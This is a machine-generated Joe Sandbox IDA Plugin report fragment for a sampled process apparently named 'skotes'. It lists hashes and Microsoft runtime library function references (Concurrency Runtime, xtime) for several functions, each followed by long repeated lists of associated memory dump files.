Yara matches

Similarity

API ID: Mtx_unlock$Cnd_broadcastCurrentThread
String ID:
API String ID: 3264154886-0
Opcode ID: 431cd38cc488a4b95bd3373c76962f1482e3ef8f84d122cc76967f8480037f67
Instruction ID: 5ae9b1723d16cb2b13bad85c5d31551e590947add9c82283b796564d4acddefb
Opcode Fuzzy Hash: 431cd38cc488a4b95bd3373c76962f1482e3ef8f84d122cc76967f8480037f67
Instruction Fuzzy Hash: 6641C0B1A012059FDB20DF64CA44B9AB7F8FF15320F004539E816D7791EB35EA15CB91

Function 00ACDB30 Relevance: 6.1, APIs: 4, Instructions: 123COMMON

Download Yara Rule

APIs

Concurrency::details::ContextBase::TraceContextEvent.LIBCMT ref: 00ACDB64

Part of subcall function 00AC8F2F: Concurrency::details::ContextBase::ThrowContextEvent.LIBCONCRT ref: 00AC8F50

Concurrency::details::InternalContextBase::FindWorkForBlockingOrNesting.LIBCONCRT ref: 00ACDBC3
Concurrency::details::InternalContextBase::PrepareForUse.LIBCONCRT ref: 00ACDBE9
Concurrency::location::_Assign.LIBCMT ref: 00ACDC56

Memory Dump Source

Source File: 00000006.00000002.2918299044.0000000000AA1000.00000040.00000001.01000000.00000007.sdmp, Offset: 00AA0000, based on PE: true

Associated: 00000006.00000002.2918155049.0000000000AA0000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2918299044.0000000000B02000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2918657333.0000000000B09000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2918781754.0000000000B0B000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2918905078.0000000000B17000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2919668580.0000000000C6B000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2919864554.0000000000C6D000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2919997888.0000000000C86000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2919997888.0000000000C93000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2920217132.0000000000C96000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2920342171.0000000000C9D000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2920541363.0000000000CAE000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2920704707.0000000000CAF000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2920838352.0000000000CC1000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2921066699.0000000000CC4000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2921230726.0000000000CC5000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2921568726.0000000000CD7000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2921790614.0000000000CEC000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2921963784.0000000000CF0000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2922215422.0000000000CFE000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2922673396.0000000000D05000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2923028432.0000000000D06000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2923406574.0000000000D08000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2924218896.0000000000D0F000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2924617491.0000000000D10000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2924838611.0000000000D1D000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2925034458.0000000000D1E000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2925363220.0000000000D1F000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2925708484.0000000000D26000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2926049228.0000000000D28000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2926438920.0000000000D2E000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2926662982.0000000000D2F000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2926853097.0000000000D30000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2927583632.0000000000D41000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2928697071.0000000000D43000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2928697071.0000000000D6B000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2929285214.0000000000D9A000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2929629596.0000000000D9B000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2929809812.0000000000D9E000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2930137301.0000000000DA0000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2930349428.0000000000DAF000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2930501873.0000000000DB0000.00000080.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_aa0000_skotes.jbxd

Yara matches

Similarity

API ID: Context$Base::Concurrency::details::$EventInternal$AssignBlockingConcurrency::location::_FindNestingPrepareThrowTraceWork
String ID:
API String ID: 1091748018-0
Opcode ID: 53943b678340b0e06fd4e5df9489c78a25b425b34dce26460991b11c5ef326b3
Instruction ID: 4e312326a416aaa2ce6723144b67cab15b28da6a98fbe5161f9bd1c3822b73c8
Opcode Fuzzy Hash: 53943b678340b0e06fd4e5df9489c78a25b425b34dce26460991b11c5ef326b3
Instruction Fuzzy Hash: C141E374604214ABDF19EB24C986FBEBB79AF45310F0680ADE5069B3C2CB74AD45C7D1

Function 00AC56AF Relevance: 6.1, APIs: 4, Instructions: 117COMMONLIBRARYCODE

Download Yara Rule

APIs

_InternalDeleteHelper.LIBCONCRT ref: 00AC56F2
_InternalDeleteHelper.LIBCONCRT ref: 00AC5726
Concurrency::details::SchedulerBase::TraceSchedulerEvent.LIBCMT ref: 00AC578B
SafeRWList.LIBCONCRT ref: 00AC579A

Memory Dump Source

Source File: 00000006.00000002.2918299044.0000000000AA1000.00000040.00000001.01000000.00000007.sdmp, Offset: 00AA0000, based on PE: true

Associated: 00000006.00000002.2918155049.0000000000AA0000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2918299044.0000000000B02000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2918657333.0000000000B09000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2918781754.0000000000B0B000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2918905078.0000000000B17000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2919668580.0000000000C6B000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2919864554.0000000000C6D000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2919997888.0000000000C86000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2919997888.0000000000C93000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2920217132.0000000000C96000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2920342171.0000000000C9D000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2920541363.0000000000CAE000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2920704707.0000000000CAF000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2920838352.0000000000CC1000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2921066699.0000000000CC4000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2921230726.0000000000CC5000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2921568726.0000000000CD7000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2921790614.0000000000CEC000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2921963784.0000000000CF0000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2922215422.0000000000CFE000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2922673396.0000000000D05000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2923028432.0000000000D06000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2923406574.0000000000D08000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2924218896.0000000000D0F000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2924617491.0000000000D10000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2924838611.0000000000D1D000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2925034458.0000000000D1E000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2925363220.0000000000D1F000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2925708484.0000000000D26000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2926049228.0000000000D28000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2926438920.0000000000D2E000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2926662982.0000000000D2F000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2926853097.0000000000D30000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2927583632.0000000000D41000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2928697071.0000000000D43000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2928697071.0000000000D6B000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2929285214.0000000000D9A000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2929629596.0000000000D9B000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2929809812.0000000000D9E000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2930137301.0000000000DA0000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2930349428.0000000000DAF000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2930501873.0000000000DB0000.00000080.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_aa0000_skotes.jbxd

Yara matches

Similarity

API ID: DeleteHelperInternalScheduler$Base::Concurrency::details::EventListSafeTrace
String ID:
API String ID: 893951542-0
Opcode ID: 0fdbe90f4e21f27322e221439dc1e6483df58557334b4fccf973b0deff48ffc4
Instruction ID: 9f3a36e04837e003c33be8e57ba47adb9abdb68a0fbad345f8b852985cdbf2ad
Opcode Fuzzy Hash: 0fdbe90f4e21f27322e221439dc1e6483df58557334b4fccf973b0deff48ffc4
Instruction Fuzzy Hash: 7A31F236B016109FDF059B60C881FED77A6AF89710F1A817DE9069B255DB30BC418B90

Function 00AC2CFC Relevance: 6.1, APIs: 4, Instructions: 101COMMON

Download Yara Rule

APIs

Concurrency::details::ResourceManager::InitializeRMBuffers.LIBCMT ref: 00AC2D0F

Memory Dump Source

Source File: 00000006.00000002.2918299044.0000000000AA1000.00000040.00000001.01000000.00000007.sdmp, Offset: 00AA0000, based on PE: true

Associated: 00000006.00000002.2918155049.0000000000AA0000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2918299044.0000000000B02000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2918657333.0000000000B09000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2918781754.0000000000B0B000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2918905078.0000000000B17000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2919668580.0000000000C6B000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2919864554.0000000000C6D000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2919997888.0000000000C86000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2919997888.0000000000C93000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2920217132.0000000000C96000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2920342171.0000000000C9D000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2920541363.0000000000CAE000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2920704707.0000000000CAF000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2920838352.0000000000CC1000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2921066699.0000000000CC4000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2921230726.0000000000CC5000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2921568726.0000000000CD7000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2921790614.0000000000CEC000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2921963784.0000000000CF0000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2922215422.0000000000CFE000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2922673396.0000000000D05000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2923028432.0000000000D06000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2923406574.0000000000D08000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2924218896.0000000000D0F000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2924617491.0000000000D10000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2924838611.0000000000D1D000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2925034458.0000000000D1E000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2925363220.0000000000D1F000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2925708484.0000000000D26000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2926049228.0000000000D28000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2926438920.0000000000D2E000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2926662982.0000000000D2F000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2926853097.0000000000D30000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2927583632.0000000000D41000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2928697071.0000000000D43000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2928697071.0000000000D6B000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2929285214.0000000000D9A000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2929629596.0000000000D9B000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2929809812.0000000000D9E000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2930137301.0000000000DA0000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2930349428.0000000000DAF000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2930501873.0000000000DB0000.00000080.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_aa0000_skotes.jbxd

Yara matches

Similarity

API ID: BuffersConcurrency::details::InitializeManager::Resource
String ID:
API String ID: 3433162309-0
Opcode ID: a98c5fa2ba3338f19375a2466f355072231b31b8f8a11901217498579cb05fa7
Instruction ID: f68c2fe87a3b89b5ce0441db68a549523e0e9c1aa289a1b12c4dec08ce73769d
Opcode Fuzzy Hash: a98c5fa2ba3338f19375a2466f355072231b31b8f8a11901217498579cb05fa7
Instruction Fuzzy Hash: 1C313775A00309DFCF11DF94C9C0FAE7BB9AB54314F1604AED902AB346D730A945DBA0

Function 00AD13F5 Relevance: 6.1, APIs: 4, Instructions: 99COMMON

Download Yara Rule

APIs

__EH_prolog3_catch.LIBCMT ref: 00AD13FC
Concurrency::details::_TaskCollectionBase::_GetTokenState.LIBCONCRT ref: 00AD1447
Concurrency::details::_CancellationTokenState::_RegisterCallback.LIBCONCRT ref: 00AD147A
Concurrency::details::_StructuredTaskCollection::_CountUp.LIBCMT ref: 00AD152A

Memory Dump Source

Source File: 00000006.00000002.2918299044.0000000000AA1000.00000040.00000001.01000000.00000007.sdmp, Offset: 00AA0000, based on PE: true

Associated: 00000006.00000002.2918155049.0000000000AA0000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2918299044.0000000000B02000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2918657333.0000000000B09000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2918781754.0000000000B0B000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2918905078.0000000000B17000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2919668580.0000000000C6B000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2919864554.0000000000C6D000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2919997888.0000000000C86000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2919997888.0000000000C93000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2920217132.0000000000C96000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2920342171.0000000000C9D000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2920541363.0000000000CAE000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2920704707.0000000000CAF000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2920838352.0000000000CC1000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2921066699.0000000000CC4000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2921230726.0000000000CC5000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2921568726.0000000000CD7000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2921790614.0000000000CEC000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2921963784.0000000000CF0000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2922215422.0000000000CFE000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2922673396.0000000000D05000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2923028432.0000000000D06000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2923406574.0000000000D08000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2924218896.0000000000D0F000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2924617491.0000000000D10000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2924838611.0000000000D1D000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2925034458.0000000000D1E000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2925363220.0000000000D1F000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2925708484.0000000000D26000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2926049228.0000000000D28000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2926438920.0000000000D2E000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2926662982.0000000000D2F000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2926853097.0000000000D30000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2927583632.0000000000D41000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2928697071.0000000000D43000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2928697071.0000000000D6B000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2929285214.0000000000D9A000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2929629596.0000000000D9B000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2929809812.0000000000D9E000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2930137301.0000000000DA0000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2930349428.0000000000DAF000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2930501873.0000000000DB0000.00000080.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_aa0000_skotes.jbxd

Yara matches

Similarity

API ID: Concurrency::details::_$TaskToken$Base::_CallbackCancellationCollectionCollection::_CountH_prolog3_catchRegisterStateState::_Structured
String ID:
API String ID: 2092016602-0
Opcode ID: 1345b9225bb627a0a29aabfbc9eaaaf1470944de4804284706692cf3b501de25
Instruction ID: 31033e16c27887c08bd3fc14da69c6a958451e045866ea95a3daed495382f2d6
Opcode Fuzzy Hash: 1345b9225bb627a0a29aabfbc9eaaaf1470944de4804284706692cf3b501de25
Instruction Fuzzy Hash: 7A31A7B5E00606AFCF04DFA8C5919EDF7B5BF48710B14822EE426A7791DB34AD41CB90

Function 00ABBB72 Relevance: 6.1, APIs: 4, Instructions: 80COMMON

Download Yara Rule

APIs

_xtime_get.LIBCPMT ref: 00ABBBCA
__Xtime_diff_to_millis2.LIBCPMT ref: 00ABBBE4
_xtime_get.LIBCPMT ref: 00ABBC07
__Xtime_diff_to_millis2.LIBCPMT ref: 00ABBC13

Memory Dump Source

Source File: 00000006.00000002.2918299044.0000000000AA1000.00000040.00000001.01000000.00000007.sdmp, Offset: 00AA0000, based on PE: true

Associated: 00000006.00000002.2918155049.0000000000AA0000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2918299044.0000000000B02000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2918657333.0000000000B09000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2918781754.0000000000B0B000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2918905078.0000000000B17000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2919668580.0000000000C6B000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2919864554.0000000000C6D000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2919997888.0000000000C86000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2919997888.0000000000C93000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2920217132.0000000000C96000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2920342171.0000000000C9D000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2920541363.0000000000CAE000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2920704707.0000000000CAF000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2920838352.0000000000CC1000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2921066699.0000000000CC4000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2921230726.0000000000CC5000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2921568726.0000000000CD7000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2921790614.0000000000CEC000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2921963784.0000000000CF0000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2922215422.0000000000CFE000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2922673396.0000000000D05000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2923028432.0000000000D06000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2923406574.0000000000D08000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2924218896.0000000000D0F000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2924617491.0000000000D10000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2924838611.0000000000D1D000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2925034458.0000000000D1E000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2925363220.0000000000D1F000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2925708484.0000000000D26000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2926049228.0000000000D28000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2926438920.0000000000D2E000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2926662982.0000000000D2F000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2926853097.0000000000D30000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2927583632.0000000000D41000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2928697071.0000000000D43000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2928697071.0000000000D6B000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2929285214.0000000000D9A000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2929629596.0000000000D9B000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2929809812.0000000000D9E000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2930137301.0000000000DA0000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2930349428.0000000000DAF000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2930501873.0000000000DB0000.00000080.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_aa0000_skotes.jbxd

Yara matches

Similarity

API ID: Xtime_diff_to_millis2_xtime_get
String ID:
API String ID: 531285432-0
Opcode ID: 3f3d47d3bac42b97159e28fa9f29c0b8602effc7a29ef3e920122b8b31dbe983
Instruction ID: 48cce6c6ab347477317b4117cc9718f8ae9b94498b94c64f3afb553221a74d19
Opcode Fuzzy Hash: 3f3d47d3bac42b97159e28fa9f29c0b8602effc7a29ef3e920122b8b31dbe983
Instruction Fuzzy Hash: 59210C71A00219AFDF00EFA4D995DFEBBB9EF09720F104069F501A7262DB609D019BA0

Function 00AC9C95 Relevance: 6.1, APIs: 4, Instructions: 79COMMONLIBRARYCODE

Download Yara Rule

APIs

__EH_prolog3_catch.LIBCMT ref: 00AC9C9C
Concurrency::SchedulerPolicy::_ValidPolicyValue.LIBCONCRT ref: 00AC9CE8
std::bad_exception::bad_exception.LIBCMT ref: 00AC9CFE
std::bad_exception::bad_exception.LIBCMT ref: 00AC9D6A

Memory Dump Source

Source File: 00000006.00000002.2918299044.0000000000AA1000.00000040.00000001.01000000.00000007.sdmp, Offset: 00AA0000, based on PE: true

Associated: 00000006.00000002.2918155049.0000000000AA0000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2918299044.0000000000B02000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2918657333.0000000000B09000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2918781754.0000000000B0B000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2918905078.0000000000B17000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2919668580.0000000000C6B000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2919864554.0000000000C6D000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2919997888.0000000000C86000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2919997888.0000000000C93000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2920217132.0000000000C96000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2920342171.0000000000C9D000.00000040.00000001.01000000.00000007.sdmpDownload File
